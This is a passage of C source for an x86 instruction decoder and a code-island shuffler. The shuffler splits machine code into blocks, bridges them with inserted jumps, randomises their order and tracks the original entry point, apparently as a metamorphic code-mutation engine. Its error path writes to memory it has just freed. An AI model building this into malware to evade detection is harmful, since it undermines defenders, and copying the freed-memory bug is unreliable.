        if((pCurrentX86InstructionAbstraction->Opcode >= 0x00 && pCurrentX86InstructionAbstraction->Opcode <= 0x03) || (pCurrentX86InstructionAbstraction->Opcode >= 0x08 && pCurrentX86InstructionAbstraction->Opcode <= 0x0B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x10 && pCurrentX86InstructionAbstraction->Opcode <= 0x13) || (pCurrentX86InstructionAbstraction->Opcode >= 0x18 && pCurrentX86InstructionAbstraction->Opcode <= 0x1B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x20 && pCurrentX86InstructionAbstraction->Opcode <= 0x23) || (pCurrentX86InstructionAbstraction->Opcode >= 0x28 && pCurrentX86InstructionAbstraction->Opcode <= 0x2B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x30 && pCurrentX86InstructionAbstraction->Opcode <= 0x33) || (pCurrentX86InstructionAbstraction->Opcode >= 0x38 && pCurrentX86InstructionAbstraction->Opcode <= 0x3B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x83) || (pCurrentX86InstructionAbstraction->Opcode >= 0x88 && pCurrentX86InstructionAbstraction->Opcode <= 0x8C) || pCurrentX86InstructionAbstraction->Opcode == 0x8E || (pCurrentX86InstructionAbstraction->Opcode >= 0xA0 && pCurrentX86InstructionAbstraction->Opcode <= 0xA3) || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3))
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit;
        }

        if(pCurrentX86InstructionAbstraction->Opcode == 0x04 || pCurrentX86InstructionAbstraction->Opcode == 0x05 || pCurrentX86InstructionAbstraction->Opcode == 0x0C || pCurrentX86InstructionAbstraction->Opcode == 0x0D || pCurrentX86InstructionAbstraction->Opcode == 0x14 || pCurrentX86InstructionAbstraction->Opcode == 0x15 || pCurrentX86InstructionAbstraction->Opcode == 0x1C || pCurrentX86InstructionAbstraction->Opcode == 0x1D || pCurrentX86InstructionAbstraction->Opcode == 0x24 || pCurrentX86InstructionAbstraction->Opcode == 0x25 || pCurrentX86InstructionAbstraction->Opcode == 0x2C || pCurrentX86InstructionAbstraction->Opcode == 0x2D || pCurrentX86InstructionAbstraction->Opcode == 0x34 || pCurrentX86InstructionAbstraction->Opcode == 0x35 || pCurrentX86InstructionAbstraction->Opcode == 0x3C || pCurrentX86InstructionAbstraction->Opcode == 0x3D || (pCurrentX86InstructionAbstraction->Opcode >= 0x91 && pCurrentX86InstructionAbstraction->Opcode <= 0x97) || (pCurrentX86InstructionAbstraction->Opcode >= 0xA0 && pCurrentX86InstructionAbstraction->Opcode <= 0xA3) || pCurrentX86InstructionAbstraction->Opcode == 0xA8 || pCurrentX86InstructionAbstraction->Opcode == 0xA9)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagAcculmulator;
        }

        if((pCurrentX86InstructionAbstraction->Opcode >= 0x38 && pCurrentX86InstructionAbstraction->Opcode <= 0x3B) || pCurrentX86InstructionAbstraction->Opcode == 0x84 || pCurrentX86InstructionAbstraction->Opcode == 0x85)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagNonModifier;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x40 && pCurrentX86InstructionAbstraction->Opcode <= 0x5F))
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagRegOpcode;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x69 || pCurrentX86InstructionAbstraction->Opcode == 0x6B)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag2xReg32Constant;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x70 && pCurrentX86InstructionAbstraction->Opcode <= 0x7F) || pCurrentX86InstructionAbstraction->Opcode == 0xE3 || pCurrentX86InstructionAbstraction->Opcode == 0xEB)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranch8;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x70 && pCurrentX86InstructionAbstraction->Opcode <= 0x7F) || pCurrentX86InstructionAbstraction->Opcode == 0xE3)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagConditionalBranch;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x83) || pCurrentX86InstructionAbstraction->Opcode == 0xC0 || pCurrentX86InstructionAbstraction->Opcode == 0xC1 || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3) || pCurrentX86InstructionAbstraction->Opcode == 0xF6 || pCurrentX86InstructionAbstraction->Opcode == 0xF7 || pCurrentX86InstructionAbstraction->Opcode == 0xFE || pCurrentX86InstructionAbstraction->Opcode == 0xFF)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagExtendedOpcode;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x8C || pCurrentX86InstructionAbstraction->Opcode == 0x8E)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagSegmentRegisters;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x8F || pCurrentX86InstructionAbstraction->Opcode == 0xD1 || pCurrentX86InstructionAbstraction->Opcode == 0xD3 || pCurrentX86InstructionAbstraction->Opcode == 0xD9 || (pCurrentX86InstructionAbstraction->Opcode >= 0xDB && pCurrentX86InstructionAbstraction->Opcode <= 0xDD) || pCurrentX86InstructionAbstraction->Opcode == 0xDF || pCurrentX86InstructionAbstraction->Opcode == 0xFF)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x8F)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBlankReg;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x90 || pCurrentX86InstructionAbstraction->Opcode == 0x98 || pCurrentX86InstructionAbstraction->Opcode == 0x99 || (pCurrentX86InstructionAbstraction->Opcode >= 0x9B && pCurrentX86InstructionAbstraction->Opcode <= 0x9D) || pCurrentX86InstructionAbstraction->Opcode == 0xC3 || pCurrentX86InstructionAbstraction->Opcode == 0xC9 || pCurrentX86InstructionAbstraction->Opcode == 0xCC || pCurrentX86InstructionAbstraction->Opcode == 0xFC || pCurrentX86InstructionAbstraction->Opcode == 0xFD)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagIsolatedVerb;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3))
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagEffectiveAddressReversed;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xD0 || pCurrentX86InstructionAbstraction->Opcode == 0xD2 || pCurrentX86InstructionAbstraction->Opcode == 0xFE)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xD0 || pCurrentX86InstructionAbstraction->Opcode == 0xD2)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagInvisibleConstant;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xD1 || pCurrentX86InstructionAbstraction->Opcode == 0xD3)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagInvisibleRegister;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xE8 || pCurrentX86InstructionAbstraction->Opcode == 0xE9)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranch32;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xE8)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagCallBranch;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xE8 || pCurrentX86InstructionAbstraction->Opcode == 0xE9 || pCurrentX86InstructionAbstraction->Opcode == 0xEB)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagUnConditionalBranch;
        }
    }
    
    pCurrentX86InstructionAbstraction->ModRM=*pInstructionOffset;
    
    // Test is an abnormal case: it exists within a single-operand extended opcode table but can potentially include a data constant operand

    if(pCurrentX86InstructionAbstraction->dwStandardFlags == X86InstructionStandardFlagError)
    {
        pAPITable->GlobalFree(pCurrentX86InstructionAbstraction);
        
        pCurrentX86InstructionAbstraction->dwInstructionLength=X86InstructionStandardFlagError;
     
        return NULL;
    } 
    
    pCurrentX86InstructionAbstraction->dwDataOffset=pCurrentX86InstructionAbstraction->dwMemoryOffset=(pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1);
    
    // Process the ModRM byte, calculate the memory displacement operand size, and identify potential SIB byte 
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagModRM))
    {   
        pInstructionOffset++;
        
        pCurrentX86InstructionAbstraction->dwMemoryOffset++;
        pCurrentX86InstructionAbstraction->dwDataOffset++;
        
        pCurrentX86InstructionAbstraction->Mod=(pCurrentX86InstructionAbstraction->ModRM & 0xC0);
        pCurrentX86InstructionAbstraction->Reg=(pCurrentX86InstructionAbstraction->ModRM & 0x38) >> 3;
        pCurrentX86InstructionAbstraction->Rm=(pCurrentX86InstructionAbstraction->ModRM & 0x07);
        
        if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagExtendedOpcode))
        {
            if(pCurrentX86InstructionAbstraction->DBitOpcode == 0x80)
            {
                if(pCurrentX86InstructionAbstraction->Reg == 0x07) // 111 - Cmp
                {
                    pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagNonModifier;
                }
            }
            else if(pCurrentX86InstructionAbstraction->WBitOpcode == 0xF6)
            {
                if(pCurrentX86InstructionAbstraction->Reg == 0x00) // 000 - Test 
                {
                    pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagDataWBit;
                }
                else
                {
                    pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagWBitModRMSingle;
                }
            }
            else if(pCurrentX86InstructionAbstraction->WBitOpcode == 0xFE)
            {
                if(pCurrentX86InstructionAbstraction->Reg >= 0x02 && pCurrentX86InstructionAbstraction->Reg <= 0x05)
                {
                    pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranchUnknown|X86InstructionExtendedFlagBranch32;
                    
                    if(pCurrentX86InstructionAbstraction->Reg <= 0x03)
                    {
                        pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagCallBranch;
                    }
                }
            }
        }
        
        // Process effective address
        
        if(pCurrentX86InstructionAbstraction->Mod == 0xC0)
        {   
            if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagExtendedOpcode))
            {
                pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->Rm;
                pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Rm;
                
                if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagSingleModRM))
                {
                    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranchUnknown))
                    {
                        pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranchIsolatedReg;
                        
                        pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Rm;
                    }
                }
                else
                {
                    pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagRegToReg;
                }
            }
            else
            {
                if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagSingleModRM))
                {
                    pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Rm;
                }
                else
                {
                    pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->Rm;
                    pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Reg;
                }
            }
        }
        else
        {   
            if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagExtendedOpcode) || (pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBlankReg))
            {
                pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->Rm;
                pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Rm;
            }
            else
            {
                pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->Rm;
                pCurrentX86InstructionAbstraction->DestinationRegister=pCurrentX86InstructionAbstraction->Reg;
            }
            
            if(pCurrentX86InstructionAbstraction->Mod == 0x40)
            {
                pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory8;
            }
            else if(pCurrentX86InstructionAbstraction->Mod == 0x80)
            {
                pCurrentX86InstructionAbstraction->dwStandardFlags |= ((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix67) ? X86InstructionStandardFlagMemory16 : X86InstructionStandardFlagMemory32);
            }
            
            if(pCurrentX86InstructionAbstraction->Rm == 0x04)
            {
                // SIB byte has been identified
                
                pCurrentX86InstructionAbstraction->dwMemoryOffset++;
                pCurrentX86InstructionAbstraction->dwDataOffset++;
                
                pCurrentX86InstructionAbstraction->SIB=*pInstructionOffset++;
                        
                pCurrentX86InstructionAbstraction->Scale=((pCurrentX86InstructionAbstraction->SIB & 0xC0) >> 6);
                pCurrentX86InstructionAbstraction->Index=((pCurrentX86InstructionAbstraction->SIB & 0x38) >> 3);
                pCurrentX86InstructionAbstraction->Base=(pCurrentX86InstructionAbstraction->SIB & 0x07);
                
                if(pCurrentX86InstructionAbstraction->Scale == 0)
                {
                    pCurrentX86InstructionAbstraction->Scale++;
                }
                else if(pCurrentX86InstructionAbstraction->Scale == 3)
                {
                    pCurrentX86InstructionAbstraction->Scale=8;
                }
                else
                {
                    pCurrentX86InstructionAbstraction->Scale *= 2;
                }
                
                if(pCurrentX86InstructionAbstraction->Base == 0x05 && pCurrentX86InstructionAbstraction->Mod == 0x00)
                {
                    pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory32;
                }
                
                pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagSIB;
            }
            else if(pCurrentX86InstructionAbstraction->Mod == 0x00)
            {
                if(pCurrentX86InstructionAbstraction->Rm == 0x05)
                {
                    // Direct, un-modified effective address identified
                    
                    pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory32;
                }
            }
        }
    }
        
    // Process operand size override prefixes

    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagDataWBit))
    {
        if(pCurrentX86InstructionAbstraction->WBit)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData66;
        }
        else
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8;
        }
    }
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory67))
    {
        if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix67))
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory16;
        }
        else
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory32;
        }
    }
   
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData66))
    {
        if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix66))
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData16;
        }
        else
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData32;
        }
    }
    
    // Identify the end of the instruction using its memory/data operand sizes
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory8))
    {
        pInstructionOffset++;
        
        pCurrentX86InstructionAbstraction->dwDataOffset++;
    }
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory16))
    {
        pInstructionOffset += 2;
        
        pCurrentX86InstructionAbstraction->dwDataOffset += 2;
    }
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory32))
    {
        pInstructionOffset += 4; 
        
        pCurrentX86InstructionAbstraction->dwDataOffset += 4;
    }

    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
    {
        pInstructionOffset++;
    }
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
    {
        pInstructionOffset += 2;
    }
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
    {
        pInstructionOffset += 4;
    }

    pCurrentX86InstructionAbstraction->dwInstructionLength=(pInstructionOffset - (pCodePool + dwCodePoolOffset));
    pCurrentX86InstructionAbstraction->dwInstructionOffset=dwCodePoolOffset;
    
    // Finalize analysis of critical instruction data
    
    RelocateMemory(pCurrentX86InstructionAbstraction->Data, pCodePool + dwCodePoolOffset, pCurrentX86InstructionAbstraction->dwInstructionLength);
    
    // Perform additional, optional/advanced instruction data analysis

    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagAcculmulator))
    {
        pCurrentX86InstructionAbstraction->SourceRegister=0; // Eax
        pCurrentX86InstructionAbstraction->DestinationRegister=0; // Eax
    }
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagRegWBit))
    {    
        pCurrentX86InstructionAbstraction->WBit=(pCurrentX86InstructionAbstraction->Opcode & 0x08) >> 3;
        
        pCurrentX86InstructionAbstraction->DestinationRegister=(pCurrentX86InstructionAbstraction->Opcode & 0x07);
    }
    
    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagRegOpcode))
    {
        pCurrentX86InstructionAbstraction->DestinationRegister=(pCurrentX86InstructionAbstraction->Opcode & 0x07);
    }
    
    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagXMM))
    {
        pCurrentX86InstructionAbstraction->DBit=(pCurrentX86InstructionAbstraction->Opcode & 0x10) >> 4;
    }
    
    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagDBit))
    {
        if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagEffectiveAddressReversed) || (pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagRegistersReversed))
        {
            if(pCurrentX86InstructionAbstraction->DBit == 0)
            {
                pCurrentX86InstructionAbstraction->DBit=1;
            }
            else
            {
                pCurrentX86InstructionAbstraction->DBit=0;
            }
        }
    }
    
    if(((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagDBit) && pCurrentX86InstructionAbstraction->DBit == 0))
    {
        BYTE TransitionRegister=pCurrentX86InstructionAbstraction->SourceRegister;
        
        pCurrentX86InstructionAbstraction->SourceRegister=pCurrentX86InstructionAbstraction->DestinationRegister;
        pCurrentX86InstructionAbstraction->DestinationRegister=TransitionRegister;
    }
    
    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch))
    {
        if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch8))
        {
            pCurrentX86InstructionAbstraction->lBranchDestinationOffset=(CHAR)pCodePool[dwCodePoolOffset + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1];
        }
        else
        {
            pCurrentX86InstructionAbstraction->lBranchDestinationOffset=*(PLONG)&pCodePool[dwCodePoolOffset + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1];
        }
    }
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagWBitModRMSingle))
    {
        if(pCurrentX86InstructionAbstraction->WBit == 0)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM;
        }
        else
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM;
        }
    }
    
    return pCurrentX86InstructionAbstraction;
}

PX86_CODE_ISLAND_ABSTRACTION_TABLE
ShuffleX86CodeAbstractionIslands
(PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable)
{
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=NULL;
    DWORD dwX;
    
    //printf("[*] Generating bridge instructions...\r\n");
    
    for(dwX=0; dwX <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwX++)
    {
        pCurrentX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwX].pInitialX86CodeIslandInstruction;
        
        while(pCurrentX86InstructionAbstraction != pCodeX86AbstractionIslandTable->CodeIslands[dwX].pFinalX86CodeIslandInstruction && pCurrentX86InstructionAbstraction != NULL)
        {
            if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagEntryPoint))
            {
                pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
            }
            
            pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
        }
        
        if(pCurrentX86InstructionAbstraction != NULL)
        {
            PX86_INSTRUCTION_ABSTRACTION pBridgeX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
            
            // Current instruction represents the final instruction in this island: the next instruction must be made a branch, with its branch destination and next links both set to the initial link of the next island.
            
            if(dwX < pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands)
            {
                pBridgeX86InstructionAbstraction->Data[0]=0xE9;
                pBridgeX86InstructionAbstraction->Opcode=0xE9;
                pBridgeX86InstructionAbstraction->dwInstructionLength=5;
                pBridgeX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32;
                pBridgeX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagUnConditionalBranch;
                pBridgeX86InstructionAbstraction->pX86InstructionAbstractionBranchTree=pCodeX86AbstractionIslandTable->CodeIslands[dwX + 1].pInitialX86CodeIslandInstruction;
                pBridgeX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
                pBridgeX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwX + 1].pInitialX86CodeIslandInstruction;
            
                pCodeX86AbstractionIslandTable->CodeIslands[dwX + 1].pInitialX86CodeIslandInstruction->pReferencingX86InstructionAbstractionBranch=pBridgeX86InstructionAbstraction;
                pCodeX86AbstractionIslandTable->CodeIslands[dwX].pFinalX86CodeIslandInstruction=pBridgeX86InstructionAbstraction;
                
                pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pBridgeX86InstructionAbstraction;
            }
        }
        else
        {
            break;
        }
    }
    
    // Walk code abstraction links for ordered code islands, linking them together with branches
    
    //printf("[*] Generating new code island indexes...\r\n");
    
    PDWORD pdwShuffledIslandIndexes=pAPITable->GlobalAlloc(GPTR, sizeof(DWORD) * (pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands + 1));
    DWORD dwCurrentShuffledIslandIndexIndex=0, dwSelectedCodeIslandIndex;
    BOOL bIndexAlreadySelected;
    
    // Shuffle code island indexes
    
    while(dwCurrentShuffledIslandIndexIndex <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands)
    {
        dwSelectedCodeIslandIndex=(pAPITable->Rand() % (pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands + 1));
        
        for(dwX=0, bIndexAlreadySelected=FALSE; dwX < dwCurrentShuffledIslandIndexIndex; dwX++)
        {
            if(pdwShuffledIslandIndexes[dwX] == dwSelectedCodeIslandIndex && dwCurrentShuffledIslandIndexIndex != 0)
            {
                bIndexAlreadySelected=TRUE;
                
                break;
            }
        }
        
        if(!bIndexAlreadySelected)
        {
            pdwShuffledIslandIndexes[dwCurrentShuffledIslandIndexIndex]=dwSelectedCodeIslandIndex;
            
            dwCurrentShuffledIslandIndexIndex++;
        }
    }
    
    // Build new code island table
    
    PX86_CODE_ISLAND_ABSTRACTION_TABLE pShuffledCodeX86AbstractionIslandTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (sizeof(X86_CODE_ISLAND_ABSTRACTION) * (pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands + 1)));

    pShuffledCodeX86AbstractionIslandTable->dwNumberOfCodeIslands=pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands;
    pShuffledCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction=pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction;
    
    for(dwX=0; dwX <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwX++)
    {
        pShuffledCodeX86AbstractionIslandTable->CodeIslands[dwX].pInitialX86CodeIslandInstruction=pCodeX86AbstractionIslandTable->CodeIslands[pdwShuffledIslandIndexes[dwX]].pInitialX86CodeIslandInstruction;
        pShuffledCodeX86AbstractionIslandTable->CodeIslands[dwX].pFinalX86CodeIslandInstruction=pCodeX86AbstractionIslandTable->CodeIslands[pdwShuffledIslandIndexes[dwX]].pFinalX86CodeIslandInstruction;
    }

    return pShuffledCodeX86AbstractionIslandTable;
}

DWORD
RefreshEtherealX86InstructionIslandTable
(PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable)
{
    DWORD dwCurrentCodeIslandIndex, dwCurrentCodeOffset;
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction;
    
    for(dwCurrentCodeIslandIndex=0, dwCurrentCodeOffset=0; dwCurrentCodeIslandIndex <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwCurrentCodeIslandIndex++)
    {
        pCurrentX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction;
        
        while(pCurrentX86InstructionAbstraction != NULL)
        {
            pCurrentX86InstructionAbstraction->dwInstructionOffset=dwCurrentCodeOffset;
            
            if(pCurrentX86InstructionAbstraction->dwInstructionLength != 0)
            {
                dwCurrentCodeOffset += pCurrentX86InstructionAbstraction->dwInstructionLength;
            }
            else if(pCurrentX86InstructionAbstraction->dwDataSize != 0)
            {
                dwCurrentCodeOffset += pCurrentX86InstructionAbstraction->dwDataSize;
            }
            else
            {
                dwCurrentCodeOffset += pCurrentX86InstructionAbstraction->dwExtendedDataSize;
            }
                   
            if(pCurrentX86InstructionAbstraction == pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction)
            {
                break;
            }
                   
            pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
        }
    }
    
    return dwCurrentCodeOffset;
}

PX86_CODE_ISLAND_ABSTRACTION_TABLE
SelectX86CodeAbstractionIslands
(PAPI_TABLE pAPITable, PX86_INSTRUCTION_ABSTRACTION pCodeX86InstructionAbstractions)
{
    BOOL bInitializeCodeIsland=FALSE;
    PBYTE pSourcePool, pDestinationPool;
    DWORD dwX;
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction;
    PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable, pNewCodeX86AbstractionIslandTable;
    PX86_INSTRUCTION_ABSTRACTION pPreviousX86InstructionAbstraction, pNextX86InstructionAbstraction;

    pCodeX86AbstractionIslandTable=(PX86_CODE_ISLAND_ABSTRACTION_TABLE)pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE));
    pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractions;
    
    // Walk code instruction list, continually building code islands: initial island begins on first instruction. An island does not end if the current instruction is marked as data, or is a branch.
    
    pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands=0;
    pCodeX86AbstractionIslandTable->CodeIslands[0].pInitialX86CodeIslandInstruction=pCurrentX86InstructionAbstraction;
    
    while(pCurrentX86InstructionAbstraction != NULL)
    {
        if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagEntryPoint))
        {
            pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
        }
                                             
        if(bInitializeCodeIsland)
        {
            pNewCodeX86AbstractionIslandTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (sizeof(X86_CODE_ISLAND_ABSTRACTION) * (pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands + 1)));
            
